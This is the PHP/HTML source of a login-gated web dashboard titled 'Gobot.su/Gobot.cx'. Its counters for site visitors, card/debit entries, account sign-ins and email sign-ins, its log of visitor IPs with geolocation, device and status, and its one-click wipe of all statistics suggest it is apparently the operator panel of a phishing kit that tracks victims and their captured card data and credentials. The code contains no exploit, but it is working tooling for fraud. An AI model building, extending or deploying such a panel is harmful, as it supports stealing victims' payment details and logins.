<?php
session_start();

if (!isset($_SESSION['username'])) {
    header('Location: login');
    exit;
}

// Data now loaded via JavaScript with pagination
?>
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8" />
<title>Gobot.su/Gobot.cx | Dashboard</title>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="description" content="" />
<meta name="author" content="" />

<link href="assets/css/vendor.min.css" rel="stylesheet" />
<link href="assets/css/app.min.css" rel="stylesheet" />


<link href="assets/plugins/jvectormap-next/jquery-jvectormap.css" rel="stylesheet" />
<style>
/* Table styling handled by pagination now */
</style>
</head>
<body>

<div id="app" class="app">

<?php

include 'include/nav.php';

?>

<?php

include 'include/sidebar.php';

?>




<button class="app-sidebar-mobile-backdrop" data-toggle-target=".app" data-toggle-class="app-sidebar-mobile-toggled"></button>


<div id="content" class="app-content">

<div class="row">

<div class="col-xl-3 col-lg-6">

<div class="card mb-3">

<div class="card-body" id="siteVisitors">

<div class="d-flex fw-bold small mb-3">
<span class="flex-grow-1">SITE VISITORS</span>
<a href="#" data-toggle="card-expand" class="text-white text-opacity-50 text-decoration-none"><i class="bi bi-fullscreen"></i></a>
</div>


<div class="row align-items-center mb-2">
<div class="col-7">
<h3 class="mb-0">0</h3>
</div>
</div>
</div>
</div>
</div>


<div class="col-xl-3 col-lg-6">

<div class="card mb-3">

<div class="card-body" id="cardDebit">

<div class="d-flex fw-bold small mb-3">
<span class="flex-grow-1">CARD/DEBIT</span>
<a href="#" data-toggle="card-expand" class="text-white text-opacity-50 text-decoration-none"><i class="bi bi-fullscreen"></i></a>
</div>


<div class="row align-items-center mb-2">
<div class="col-7">
<h3 class="mb-0">0</h3>
</div>
</div>
</div>
</div>
</div>


<div class="col-xl-3 col-lg-6">

<div class="card mb-3">

<div class="card-body" id="signAccount">

<div class="d-flex fw-bold small mb-3">
<span class="flex-grow-1">SIGN ACCOUNT</span>
<a href="#" data-toggle="card-expand" class="text-white text-opacity-50 text-decoration-none"><i class="bi bi-fullscreen"></i></a>
</div>


<div class="row align-items-center mb-2">
<div class="col-7">
<h3 class="mb-0">0</h3>
</div>
</div>
</div>
</div>

</div>


<div class="col-xl-3 col-lg-6">

<div class="card mb-3">

<div class="card-body" id="signEmail">

<div class="d-flex fw-bold small mb-3">
<span class="flex-grow-1">SIGN EMAIL</span>
<a href="#" data-toggle="card-expand" class="text-white text-opacity-50 text-decoration-none"><i class="bi bi-fullscreen"></i></a>
</div>


<div class="row align-items-center mb-2">
<div class="col-7">
<h3 class="mb-0">0</h3>
</div>
</div>
</div>
</div>

</div>

<div class="col-xl-12">

<div class="card mb-3">

<div class="card-body">

<div class="d-flex fw-bold small mb-3 align-items-center">
<span class="flex-grow-1">ACTIVITY LOG</span>
<button id="clearStatsBtn" class="btn btn-sm btn-outline-danger me-2" onclick="clearStatistics()">
<i class="bi bi-trash"></i> Clear All
</button>
<a href="#" data-toggle="card-expand" class="text-white text-opacity-50 text-decoration-none"><i class="bi bi-fullscreen"></i></a>
</div>


<div class="table-responsive">
<table class="table table-striped table-borderless mb-2px small text-nowrap">
<thead>
    <tr>
        <th>
            Date & Time
        </th>
        <th>IP Address</th>
        <th>City</th>
        <th>State</th>
        <th>Country</th>
        <th>Browser</th>
        <th>Device</th>
        <th>Status</th>
    </tr>
</thead>
<tbody id="ips-table-body">
    <!-- Data loaded via JavaScript -->
</tbody>
</table>

</div>

<!-- Pagination Controls -->
<div class="d-flex justify-content-between align-items-center mt-3 px-2">
    <div class="text-muted small">
        Showing <span id="showingFrom">0</span>-<span id="showingTo">0</span> of <span id="totalRecords">0</span> records
    </div>
    <div class="d-flex align-items-center gap-2">
        <select id="limitSelect" class="form-select form-select-sm" style="width: auto;">
            <option value="25">25 per page</option>
            <option value="50">50 per page</option>
            <option value="100">100 per page</option>
        </select>
        <nav>
            <ul class="pagination pagination-sm mb-0" id="paginationControls">
                <!-- Pagination buttons will be inserted here -->
            </ul>
        </nav>
    </div>
</div>

</div>


<div class="card-arrow">
<div class="card-arrow-top-left"></div>
<div class="card-arrow-top-right"></div>
<div class="card-arrow-bottom-left"></div>
<div class="card-arrow-bottom-right"></div>
</div>

</div>

</div>

</div>

</div>

<?php

include 'include/footer.php';

?>

<script>
const tableBody = document.getElementById('ips-table-body');
const paginationControls = document.getElementById('paginationControls');
const limitSelect = document.getElementById('limitSelect');
const showingFrom = document.getElementById('showingFrom');
const showingTo = document.getElementById('showingTo');
const totalRecords = document.getElementById('totalRecords');

let currentPage = 1;
let currentLimit = 25;
let totalPages = 1;

async function refreshTable(page = currentPage) {
    try {
        const res = await fetch(`api.php?action=ips&page=${page}&limit=${currentLimit}&_=${Date.now()}`);
        if (!res.ok) throw new Error('API error');

        const json = await res.json();
        const lines = json.data || [];
        const pagination = json.pagination || {};

        currentPage = pagination.page || 1;
        totalPages = pagination.totalPages || 1;
        const total = pagination.total || 0;

        // Update info text
        const from = total > 0 ? ((currentPage - 1) * currentLimit) + 1 : 0;
        const to = Math.min(currentPage * currentLimit, total);
        showingFrom.textContent = from;
        showingTo.textContent = to;
        totalRecords.textContent = total;

        // Render table
        tableBody.innerHTML = '';
        lines.forEach(line => {
            const cols = line.split('|').map(s => s.trim());
            const tr = document.createElement('tr');
            [0,1,2,3,4,5,6,8].forEach(i => {
                const td = document.createElement('td');
                td.textContent = cols[i] ?? '';
                tr.appendChild(td);
            });
            tableBody.appendChild(tr);
        });

        // Render pagination
        renderPagination();
    } catch(e) {
        console.warn('API error:', e);
        tableBody.innerHTML = '';
    }
}

function renderPagination() {
    paginationControls.innerHTML = '';
    
    // Previous button
    const prevLi = document.createElement('li');
    prevLi.className = `page-item ${currentPage === 1 ? 'disabled' : ''}`;
    prevLi.innerHTML = `<a class="page-link" href="#" onclick="goToPage(${currentPage - 1}); return false;">&laquo;</a>`;
    paginationControls.appendChild(prevLi);

    // Page numbers (show max 5 pages around current)
    let startPage = Math.max(1, currentPage - 2);
    let endPage = Math.min(totalPages, currentPage + 2);
    
    // Adjust if near start or end
    if (currentPage <= 3) {
        endPage = Math.min(5, totalPages);
    }
    if (currentPage >= totalPages - 2) {
        startPage = Math.max(1, totalPages - 4);
    }

    // First page + ellipsis
    if (startPage > 1) {
        const firstLi = document.createElement('li');
        firstLi.className = 'page-item';
        firstLi.innerHTML = `<a class="page-link" href="#" onclick="goToPage(1); return false;">1</a>`;
        paginationControls.appendChild(firstLi);
        
        if (startPage > 2) {
            const ellipsisLi = document.createElement('li');
            ellipsisLi.className = 'page-item disabled';
            ellipsisLi.innerHTML = `<span class="page-link">...</span>`;
            paginationControls.appendChild(ellipsisLi);
        }
    }

    // Page numbers
    for (let i = startPage; i <= endPage; i++) {
        const li = document.createElement('li');
        li.className = `page-item ${i === currentPage ? 'active' : ''}`;
        li.innerHTML = `<a class="page-link" href="#" onclick="goToPage(${i}); return false;">${i}</a>`;
        paginationControls.appendChild(li);
    }

    // Last page + ellipsis
    if (endPage < totalPages) {
        if (endPage < totalPages - 1) {
            const ellipsisLi = document.createElement('li');
            ellipsisLi.className = 'page-item disabled';
            ellipsisLi.innerHTML = `<span class="page-link">...</span>`;
            paginationControls.appendChild(ellipsisLi);
        }
        
        const lastLi = document.createElement('li');
        lastLi.className = 'page-item';
        lastLi.innerHTML = `<a class="page-link" href="#" onclick="goToPage(${totalPages}); return false;">${totalPages}</a>`;
        paginationControls.appendChild(lastLi);
    }

    // Next button
    const nextLi = document.createElement('li');
    nextLi.className = `page-item ${currentPage === totalPages || totalPages === 0 ? 'disabled' : ''}`;
    nextLi.innerHTML = `<a class="page-link" href="#" onclick="goToPage(${currentPage + 1}); return false;">&raquo;</a>`;
    paginationControls.appendChild(nextLi);
}

function goToPage(page) {
    if (page < 1 || page > totalPages) return;
    currentPage = page;
    refreshTable(page);
}

// Handle limit change
limitSelect.addEventListener('change', function() {
    currentLimit = parseInt(this.value);
    currentPage = 1; // Reset to first page
    refreshTable(1);
});

setInterval(() => refreshTable(currentPage), 5000); // Increased interval to reduce load
refreshTable();
</script>

<script>
async function updateCounts() {
    try {
        const res = await fetch('api.php?action=counts&_=' + Date.now());
        if (!res.ok) throw new Error('API error');
        
        const counts = await res.json();
        
        for (const [id, count] of Object.entries(counts)) {
            const el = document.querySelector(`#${id} h3`);
            if (el) el.textContent = count;
        }
    } catch (e) {
        console.warn('API error:', e);
        ['siteVisitors', 'cardDebit', 'signAccount', 'signEmail'].forEach(id => {
            const el = document.querySelector(`#${id} h3`);
            if (el) el.textContent = 0;
        });
    }
}

setInterval(updateCounts, 3000);
updateCounts();
</script>

<script>
async function clearStatistics() {
    if (!confirm('Are you sure you want to clear all statistics? This action cannot be undone.')) {
        return;
    }
    
    const btn = document.getElementById('clearStatsBtn');
    btn.disabled = true;
    btn.innerHTML = '<i class="bi bi-hourglass-split"></i> Clearing...';
    
    try {
        const res = await fetch('api.php?action=clear&_=' + Date.now());
        const json = await res.json();
        
        if (json.success) {
            // Refresh the table and counts immediately
            refreshTable();
            updateCounts();
            alert('All statistics have been cleared successfully!');
        } else {
            alert('Failed to clear statistics.');
        }
    } catch (e) {
        console.error('Clear error:', e);
        alert('Error clearing statistics.');
    } finally {
        btn.disabled = false;
        btn.innerHTML = '<i class="bi bi-trash"></i> Clear All';
    }
}
</script>

</body>

</html>
